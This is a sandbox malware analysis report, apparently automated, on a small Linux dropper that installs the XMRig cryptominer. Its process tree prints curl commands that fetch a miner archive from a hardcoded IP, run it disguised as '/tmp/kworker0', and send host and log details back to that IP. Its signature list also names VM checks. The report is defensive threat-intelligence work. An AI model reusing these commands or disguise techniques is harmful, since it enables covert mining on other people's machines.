Analysis
- max time kernel
149s - max time network
140s - platform
ubuntu-18.04_amd64 - resource
ubuntu1804-amd64-20261019-en - resource tags
arch:amd64arch:i386image:ubuntu1804-amd64-20261019-enkernel:4.15.0-213-genericlocale:en-usos:ubuntu-18.04-amd64system - submitted
21/10/2026, 04:33
Static task
static1
Behavioral task
behavioral1
Sample
893b72670d26ad39f5ea7be4b2558f938d4de5a30f8025eecdae4b130d4c0379
Resource
ubuntu1804-amd64-20261019-en
ubuntu-18.04-amd64
13 signatures
150 seconds
Behavioral task
behavioral2
Sample
893b72670d26ad39f5ea7be4b2558f938d4de5a30f8025eecdae4b130d4c0379
Resource
debian9-armhf-20260513-en
debian-9-armhf
11 signatures
150 seconds
Behavioral task
behavioral3
Sample
893b72670d26ad39f5ea7be4b2558f938d4de5a30f8025eecdae4b130d4c0379
Resource
debian9-mipsbe-20260513-en
debian-9-mips
10 signatures
150 seconds
Behavioral task
behavioral4
Sample
893b72670d26ad39f5ea7be4b2558f938d4de5a30f8025eecdae4b130d4c0379
Resource
debian9-mipsel-20260513-en
debian-9-mipsel
10 signatures
150 seconds
General
- Target 893b72670d26ad39f5ea7be4b2558f938d4de5a30f8025eecdae4b130d4c0379
- Size 779B
- Sample261021-e6vnbaeb89
- SHA256 893b72670d26ad39f5ea7be4b2558f938d4de5a30f8025eecdae4b130d4c0379
- MD5 b3e97321db59a3ca78f8bc58e170b355
- SHA1 69bfe4e73f9dc9f113aaf0899efc8cc5b7c31574
- SHA512 c294d1da341b6db1d005cd7114a5508aae6c5f20e6d5f9bd95c372d6ab39e2814cc75dd60c20fd7d8067e0a18ffe0160bf2e1945ba634dca0fd43564863ab32d
- TLSH T1FB01FDF4BE20CC74374CC032AA1E527AE48A675B38B76A8AA0D398BC004D992B80D751
- MD5 SHA1 SHA512 TLSH
Score
10/10
Malware Config
Signatures
- Family: xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
- Cryptocurrency Miner
Makes network request to known mining pool URL.
- Executes dropped EXE 1 IoCs
ioc pid Process /tmp/kworker0 1532 nohup - Checks hardware identifiers (DMI) 1 TTPs 4 IoCs
Checks DMI information which indicate if the system is a virtual machine.
description ioc Process File opened for reading /sys/devices/virtual/dmi/id/product_name kworker0 File opened for reading /sys/devices/virtual/dmi/id/board_vendor kworker0 File opened for reading /sys/devices/virtual/dmi/id/bios_vendor kworker0 File opened for reading /sys/devices/virtual/dmi/id/sys_vendor kworker0 - Enumerates running processes
Discovers information about currently running processes on the system
- Reads hardware information 1 TTPs 14 IoCs
Accesses system info like serial numbers, manufacturer names etc.
description ioc Process File opened for reading /sys/devices/virtual/dmi/id/board_asset_tag kworker0 File opened for reading /sys/devices/virtual/dmi/id/chassis_version kworker0 File opened for reading /sys/devices/virtual/dmi/id/chassis_serial kworker0 File opened for reading /sys/devices/virtual/dmi/id/bios_version kworker0 File opened for reading /sys/devices/virtual/dmi/id/product_serial kworker0 File opened for reading /sys/devices/virtual/dmi/id/product_uuid kworker0 File opened for reading /sys/devices/virtual/dmi/id/board_serial kworker0 File opened for reading /sys/devices/virtual/dmi/id/chassis_vendor kworker0 File opened for reading /sys/devices/virtual/dmi/id/chassis_type kworker0 File opened for reading /sys/devices/virtual/dmi/id/chassis_asset_tag kworker0 File opened for reading /sys/devices/virtual/dmi/id/bios_date kworker0 File opened for reading /sys/devices/virtual/dmi/id/product_version kworker0 File opened for reading /sys/devices/virtual/dmi/id/board_name kworker0 File opened for reading /sys/devices/virtual/dmi/id/board_version kworker0 - Checks CPU configuration 1 TTPs 1 IoCs
Checks CPU information which indicate if the system is a virtual machine.
description ioc Process File opened for reading /proc/cpuinfo kworker0 - Discovers running processes 1 TTPs 1 IoCs
Running process information can be used to identify security tools or plan follow-on actions.
pid Process 1543 ps - Reads CPU attributes 1 TTPs 47 IoCs
description ioc Process File opened for reading /sys/devices/system/cpu/cpu0/cache/index6/shared_cpu_map kworker0 File opened for reading /sys/devices/system/cpu/cpu0/cpufreq/base_frequency kworker0 File opened for reading /sys/devices/system/cpu/cpu0/topology/physical_package_id kworker0 File opened for reading /sys/devices/system/cpu/cpu0/cache/index0/type kworker0 File opened for reading /sys/devices/system/cpu/cpu0/cache/index0/id kworker0 File opened for reading /sys/devices/system/cpu/cpu0/cache/index1/type kworker0 File opened for reading /sys/devices/system/cpu/cpu0/cache/index2/type kworker0 File opened for reading /sys/devices/system/cpu/cpu0/cache/index3/shared_cpu_map kworker0 File opened for reading /sys/devices/system/cpu/cpu0/cache/index3/coherency_line_size kworker0 File opened for reading /sys/devices/system/cpu/cpu0/cache/index4/shared_cpu_map kworker0 File opened for reading /sys/devices/system/cpu/cpu0/topology/core_siblings kworker0 File opened for reading /sys/devices/system/cpu/cpu0/cache/index1/level kworker0 File opened for reading /sys/devices/system/cpu/cpu0/cache/index2/coherency_line_size kworker0 File opened for reading /sys/devices/system/cpu/cpu0/cache/index7/shared_cpu_map kworker0 File opened for reading /sys/devices/system/cpu/cpu0/cache/index8/shared_cpu_map kworker0 File opened for reading /sys/devices/system/cpu/cpu0/topology/core_id kworker0 File opened for reading /sys/devices/system/cpu/cpu0/cache/index0/shared_cpu_map kworker0 File opened for reading /sys/devices/system/cpu/cpu0/cpu_capacity kworker0 File opened for reading /sys/devices/system/cpu/possible kworker0 File opened for reading /sys/devices/system/cpu/online kworker0 File opened for reading /sys/devices/system/cpu/cpu0/cache/index0/number_of_sets kworker0 File opened for reading /sys/devices/system/cpu/cpu0/cache/index1/shared_cpu_map kworker0 File opened for reading /sys/devices/system/cpu/cpu0/cache/index3/size kworker0 File opened for reading /sys/devices/system/cpu/cpu0/cache/index3/physical_line_partition kworker0 File opened for reading /sys/devices/system/cpu/cpu0/cache/index5/shared_cpu_map kworker0 File opened for reading /sys/devices/system/cpu/cpu0/cache/index0/physical_line_partition kworker0 File opened for reading /sys/devices/system/cpu/cpu0/cache/index1/id kworker0 File opened for reading /sys/devices/system/cpu/cpu0/cache/index2/physical_line_partition kworker0 File opened for reading /sys/devices/system/cpu/cpu0/cache/index3/type kworker0 File opened for reading /sys/devices/system/cpu/online ps File opened for reading /sys/devices/system/cpu/cpu0/cache/index2/shared_cpu_map kworker0 File opened for reading /sys/devices/system/cpu/cpu0/cache/index2/id kworker0 File opened for reading /sys/devices/system/cpu/cpu0/cache/index2/number_of_sets kworker0 File opened for reading /sys/devices/system/cpu/cpu0/cache/index3/id kworker0 File opened for reading /sys/devices/system/cpu/cpu0/cache/index9/shared_cpu_map kworker0 File opened for reading /sys/devices/system/cpu/cpu0/cpufreq/cpuinfo_max_freq kworker0 File opened for reading /sys/devices/system/cpu/cpu0/topology/cluster_cpus kworker0 File opened for reading /sys/devices/system/cpu/cpu0/topology/die_cpus kworker0 File opened for reading /sys/devices/system/cpu/cpu0/cache/index3/level kworker0 File opened for reading /sys/devices/system/cpu/cpu0/cache/index3/number_of_sets kworker0 File opened for reading /sys/devices/system/cpu/cpu0/acpi_cppc/nominal_freq kworker0 File opened for reading /sys/devices/system/cpu/cpu0/topology/thread_siblings kworker0 File opened for reading /sys/devices/system/cpu/cpu0/cache/index0/level kworker0 File opened for reading /sys/devices/system/cpu/cpu0/cache/index0/size kworker0 File opened for reading /sys/devices/system/cpu/cpu0/cache/index0/coherency_line_size kworker0 File opened for reading /sys/devices/system/cpu/cpu0/cache/index2/level kworker0 File opened for reading /sys/devices/system/cpu/cpu0/cache/index2/size kworker0 - Enumerates kernel/hardware configuration 1 TTPs 24 IoCs
Reads contents of /sys virtual filesystem to enumerate system information.
description ioc Process File opened for reading /sys/bus/soc/devices kworker0 File opened for reading /sys/fs/cgroup/cpuset/cpuset.mems kworker0 File opened for reading /sys/devices/system/cpu kworker0 File opened for reading /sys/devices/cpu_core/cpus kworker0 File opened for reading /sys/kernel/mm/hugepages kworker0 File opened for reading /sys/devices/system/node/node0/access1/initiators kworker0 File opened for reading /sys/devices/system/node/node0/access0/initiators/read_bandwidth kworker0 File opened for reading /sys/devices/system/node/node0/access0/initiators/write_bandwidth kworker0 File opened for reading /sys/devices/cpu_atom/cpus kworker0 File opened for reading /sys/kernel/mm/hugepages/hugepages-2048kB/nr_hugepages kworker0 File opened for reading /sys/devices/system/node/node0/hugepages kworker0 File opened for reading /sys/bus/dax/devices kworker0 File opened for reading /sys/devices/system/node/node0/access0/initiators kworker0 File opened for reading /sys/devices/system/node/node0/access0/initiators/read_latency kworker0 File opened for reading /sys/devices/system/node/node0/access0/initiators/write_latency kworker0 File opened for reading /sys/devices/virtual/dmi/id kworker0 File opened for reading /sys/fs/cgroup/cpuset/cpuset.cpus kworker0 File opened for reading /sys/devices/system/node/online kworker0 File opened for reading /sys/devices/system/node/node0/hugepages/hugepages-2048kB/nr_hugepages kworker0 File opened for reading /sys/firmware/dmi/tables/smbios_entry_point kworker0 File opened for reading /sys/firmware/dmi/tables/DMI kworker0 File opened for reading /sys/devices/system/node/node0/cpumap kworker0 File opened for reading /sys/devices/system/node/node0/meminfo kworker0 File opened for reading /sys/devices/system/node/node0/hugepages/hugepages-2048kB/free_hugepages kworker0 -
description ioc Process File opened for reading /proc/81/stat ps File opened for reading /proc/81/status ps File opened for reading /proc/156/cmdline ps File opened for reading /proc/1049/status ps File opened for reading /proc/1058/status ps File opened for reading /proc/600/cmdline ps File opened for reading /proc/1058/cmdline ps File opened for reading /proc/1061/stat ps File opened for reading /proc/27/stat ps File opened for reading /proc/168/stat ps File opened for reading /proc/710/stat ps File opened for reading /proc/557/stat ps File opened for reading /proc/driver/nvidia/gpus kworker0 File opened for reading /proc/498/cmdline ps File opened for reading /proc/644/stat ps File opened for reading /proc/1063/cmdline ps File opened for reading /proc/1094/cmdline ps File opened for reading /proc/78/stat ps File opened for reading /proc/1517/stat ps File opened for reading /proc/1544/status ps File opened for reading /proc/201/cmdline ps File opened for reading /proc/673/cmdline ps File opened for reading /proc/1098/stat ps File opened for reading /proc/13/status ps File opened for reading /proc/30/stat ps File opened for reading /proc/498/status ps File opened for reading /proc/712/stat ps File opened for reading /proc/956/cmdline ps File opened for reading /proc/1058/stat ps File opened for reading /proc/435/status ps File opened for reading /proc/4/stat ps File opened for reading /proc/173/stat ps File opened for reading /proc/443/cmdline ps File opened for reading /proc/1032/status ps File opened for reading /proc/1101/status ps File opened for reading /proc/25/cmdline ps File opened for reading /proc/157/stat ps File opened for reading /proc/975/status ps File opened for reading /proc/169/status ps File opened for reading /proc/175/cmdline ps File opened for reading /proc/969/cmdline ps File opened for reading /proc/979/status ps File opened for reading /proc/1055/status ps File opened for reading /proc/11/cmdline ps File opened for reading /proc/19/stat ps File opened for reading /proc/115/status ps File opened for reading /proc/950/cmdline ps File opened for reading /proc/1044/status ps File opened for reading /proc/1053/stat ps File opened for reading /proc/1332/status ps File opened for reading /proc/167/cmdline ps File opened for reading /proc/443/status ps File opened for reading /proc/445/cmdline ps File opened for reading /proc/158/stat ps File opened for reading /proc/339/cmdline ps File opened for reading /proc/531/cmdline ps File opened for reading /proc/8/stat ps File opened for reading /proc/19/status ps File opened for reading /proc/35/stat ps File opened for reading /proc/1005/cmdline ps File opened for reading /proc/3/stat ps File opened for reading /proc/10/status ps File opened for reading /proc/201/status ps File opened for reading /proc/31/status ps - System Network Configuration Discovery 1 TTPs 1 IoCs
Adversaries may gather information about the network configuration of a system.
pid Process 1550 curl - Writes file to tmp directory 8 IoCs
Malware often drops required files in the /tmp directory.
description ioc Process File opened for modification /tmp/xmrig-6.22.2/SHA256SUMS tar File opened for modification /tmp/xmrig-6.22.2/xmrig tar File opened for modification /tmp/miner.log 893b72670d26ad39f5ea7be4b2558f938d4de5a30f8025eecdae4b130d4c0379 File opened for modification /tmp/.f351ebe43a9e670b curl File opened for modification /tmp/one.log 893b72670d26ad39f5ea7be4b2558f938d4de5a30f8025eecdae4b130d4c0379 File opened for modification /tmp/.f351ebe43a9e670b curl File opened for modification /tmp/x.tgz curl File opened for modification /tmp/xmrig-6.22.2/config.json tar
Processes
-
/tmp/893b72670d26ad39f5ea7be4b2558f938d4de5a30f8025eecdae4b130d4c0379/tmp/893b72670d26ad39f5ea7be4b2558f938d4de5a30f8025eecdae4b130d4c03791⤵
- Writes file to tmp directory
PID:1517 -
/bin/datedate2⤵PID:1518
-
-
/usr/bin/curlcurl -m 120 -o /tmp/x.tgz http://195.85.114.192/xmrig.tar.gz2⤵
- Writes file to tmp directory
PID:1519
-
-
/usr/bin/statstat -c "%s" /tmp/x.tgz2⤵PID:1527
-
-
/bin/tartar xzf x.tgz2⤵
- Writes file to tmp directory
PID:1528 -
/usr/local/sbin/gzipgzip -d3⤵PID:1529
-
-
/usr/local/bin/gzipgzip -d3⤵PID:1529
-
-
/usr/sbin/gzipgzip -d3⤵PID:1529
-
-
/usr/bin/gzipgzip -d3⤵PID:1529
-
-
/sbin/gzipgzip -d3⤵PID:1529
-
-
/bin/gzipgzip -d3⤵PID:1529
-
-
-
/bin/mv2⤵PID:1530
-
-
/bin/chmod2⤵PID:1531
-
-
/bin/sleep2⤵PID:1533
-
-
/usr/bin/nohup2⤵
- Executes dropped EXE
PID:1532
-
-
/tmp/kworker02⤵
- Checks hardware identifiers (DMI)
- Reads hardware information
- Checks CPU configuration
- Reads CPU attributes
- Enumerates kernel/hardware configuration
- Reads runtime system information
PID:1532
-
-
/bin/grepgrep -c kworke2⤵PID:1544
-
-
/bin/psps aux2⤵
- Discovers running processes
- Reads CPU attributes
- Reads runtime system information
PID:1543
-
-
/usr/bin/trtr -d "\"n"2⤵PID:1547
-
-
/usr/bin/tailtail -c 400 /tmp/one.log2⤵PID:1546
-
-
/usr/bin/trtr "\"" "\"" "\"_\""2⤵PID:1549
-
-
/usr/bin/curlcurl -m 8 "http://195.85.114.192/cb?ip=HOST1&log=1 start Wed Oct 21 05:33:39 BST 2026 % Total % Received % Xferd Average Speed Time Time Time Curret Dload Upload Total Spet Left Speed 0 0 0 0 0 0 0 0 --:--:-- --:--:-- --:--:-- 0 100 3427k 100 3427k 0 0 7246k 0 --:--:-- --:--:-- --:--:-- 7246k dl rc=0 size=3509741 tar ok lauched procs=17"2⤵
- System Network Configuration Discovery
- Writes file to tmp directory
PID:1550
-
Network
MITRE ATT&CK Enterprise v16
Replay Monitor
Loading Replay Monitor...
Downloads
- Path /tmp/one.log
- Size 404B
- SHA256 03e177d72763846f6e2c8bbc52b0a6d848a1f1a5d1a1590362061d37a36212a3
- MD5 e927cd2904f8b7b294f47791c953c067
- SHA1 795a02847c1fafcabccca43af94830958d1b0ff7
- SHA512 f694db28592f35683e3eaf8984fb238c500d0043107392e386f2ed0f1c6828b509c17c91760f839c7dc05a88a543dbaa4044752d888fe0b7ad70073cf309fc4e
- TLSH T1AFE0DF024D04011F61E5C045B540EBB9679C828D2C16E1D336CE01CCA7BB743CEC7081
- MD5 SHA1 SHA512 TLSH
- Path /tmp/one.log
- Size 41B
- SHA256 af8e90aca75752e7d8fd4f31ff107dd55ae3174daf08bcff28564d099a7d49ed
- MD5 98a0eb9ba75a67571936a6ec272978eb
- SHA1 3e4d476f40f32430f30062151d09058c3ca71e97
- SHA512 14d7553f03f8016a0ca7f35f483a522727ccd90af71bad6b620caf90a4e10514d2788d918126224d3ec9743f750530bb449e5623941626c80bb3fbcbb3069bfe
- MD5 SHA1 SHA512
- Path /tmp/one.log
- Size 358B
- SHA256 a5a78b0e57d16ae94c8a606d1efcefcbe6e43f2db846ed26d83becace06c391f
- MD5 75bbbb00b49f770dd899c269ca304e0b
- SHA1 1c6f298b97a4e33b7b1dcab126809e8df11c7c90
- SHA512 073cb36a225b70b0efad5a12efcd68a04b6b114085d7fe14e5eca0c3d771fb676d48ec08c601c4d481ef605c82e9980974a1966377d0bb9bf710a6024c67e8dc
- TLSH T1BAE0C2024E04021F52F5C045B140FBB8A79C818D2C07E1D335CE01CC93B7B43CAC7181
- MD5 SHA1 SHA512 TLSH
- Path /tmp/one.log
- Size 379B
- SHA256 4e7c8a909182300dbd1e4a13b177873b28a437192e190046be6f82a055922094
- MD5 c1a061f6de46a8b61f41bae3f83dae3b
- SHA1 7e1f564e2ca95d4c1955e607265f2396b2804011
- SHA512 1689b38aea8c9fcb44571c389454a4b36e5608124820e6ca5dcd8a68e0875d23da46463b27165546564116e98c9ba2e23ac954037794db9e27ff0d027878fbd5
- TLSH T1FEE08C424E04022FA6F5C055B640FBB9A79C828D2C16E1D335CE01CC97B7B93CEC7181
- MD5 SHA1 SHA512 TLSH
- Path /tmp/one.log
- Size 386B
- SHA256 23b03db45bb5250d80bed0563d287fcbcf81d08f05feb84b9ffefe6b75ffae04
- MD5 bd32c2fba67b33cf88b9150d0a39997c
- SHA1 194e3ccb21b164b9d562afc58f748fb6158797ab
- SHA512 901f7aa4d853f77b40e170bea772ec1c81375aef690c8533ef6c77f8f3bba0277dca833a90240ded6088f17594b8d8975f31fff96d7ae93d66566711b6268fb2
- TLSH T142E08C424E04022FA6F9C055B680FBB9A79C828D2C16E5D336CE01CCA7B7B93CEC7181
- MD5 SHA1 SHA512 TLSH
- Path /tmp/x.tgz
- Size 3.3MB
- SHA256 b2c88b19699e3d22c4db0d589f155bb89efbd646ecf9ad182ad126763723f4b7
- MD5 8feb9a1c7da97b6e0d254d93da37371d
- SHA1 090510d9ac1aedbce99fe98cc7396cfcfe6a3951
- SHA512 2dd6b60365b553dcc703ed0e804dc1744d7288e3f328798afa6ec9f32e13eefa3ee88a3fa01cfd22f0493d2a2125b803f42f268ee3ac0cf6c2f4e3496fa065db
- SSDEEP 98304:z76rYWTjsJINfKYi8t4jQ8Vf1nShTOSBU+:z76NfN7TW2T3F
- TLSH T14CF5335F9711B7C7122820EE5362B60A4B0C6895EC167BC4A5F1692A366F1CF237FD23
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path /tmp/xmrig-6.22.2/SHA256SUMS
- Size 150B
- SHA256 cd4a3226d74b573cbd1af1280543912259d6f0e1f5e59c39848700aa01b95de1
- MD5 554d057fe1c4eab2071450cf6c434dc5
- SHA1 9fa4d5aa72d698f72d105fce0bd44657f244c7e6
- SHA512 be34f9b3e7ad12baba834da1b57fd6c943935792be2c026c49887e02cb3bd5645d7152dab2a4d760b5a1c09d782f72c6119098efbae63ccaa295cee83da3abb8
- TLSH T15FC08C52463CC4515422C923AA91DD94832636122753598940ABA21696AAE02CDB3C20
- MD5 SHA1 SHA512 TLSH
- Path /tmp/xmrig-6.22.2/config.json
- Size 2KB
- SHA256 2b03943244871ca75e44513e4d20470b8f3e0f209d185395de82b447022437ec
- MD5 66f38c96a4901e7b345787c447842b3e
- SHA1 2aa9b4d1bd2edd5d81bd9725e9318edaee67531f
- SHA512 71757fad29d6d2a257362ed28cde9f249cc8a14e646dee666c9029ea97c72de689cdf8ed5cf0365195a6a6831fe77d82efe5e2fa555c6cc5078f1f29ae8dd68f
- TLSH T16E419E25C9781CFA0295A0BC88EDA2934628C1075F593C7CB54C995C2F0E73E76B6BE2
- MD5 SHA1 SHA512 TLSH
- Path /tmp/xmrig-6.22.2/xmrig
- Size 7.0MB
- SHA256 c250a6670ed6acea9b39d95a586d46d5ae490ea17e7d5df49f5144e5b86503fe
- MD5 5d5a0f9cd623760787283f0c60a15575
- SHA1 868ba979b2576f6d432273d6b4bc653286236f0e
- SHA512 c18fca4bc70935a47e6cef46216e31eff8fce45432c57be6605eecd11bf6aa35b5b126e634e3bb7bf3aaacd02d7e965dc7a321c00b99e3a91052631b01994e2a
- SSDEEP 98304:yr6P2CZlp4ledj/mf7ukUzX093B9VK/OQGthOlgPEWi1MVNWoGt7rPAW3R1lrep/:bl4lcmDi1WIPFCBNcJ7C
- TLSH T1BE765B57A5E324FCC1DAC474472FD663BD7178A84220BE7F6188AA302F66E60671DF21
- MD5 SHA1 SHA512 SSDEEP TLSH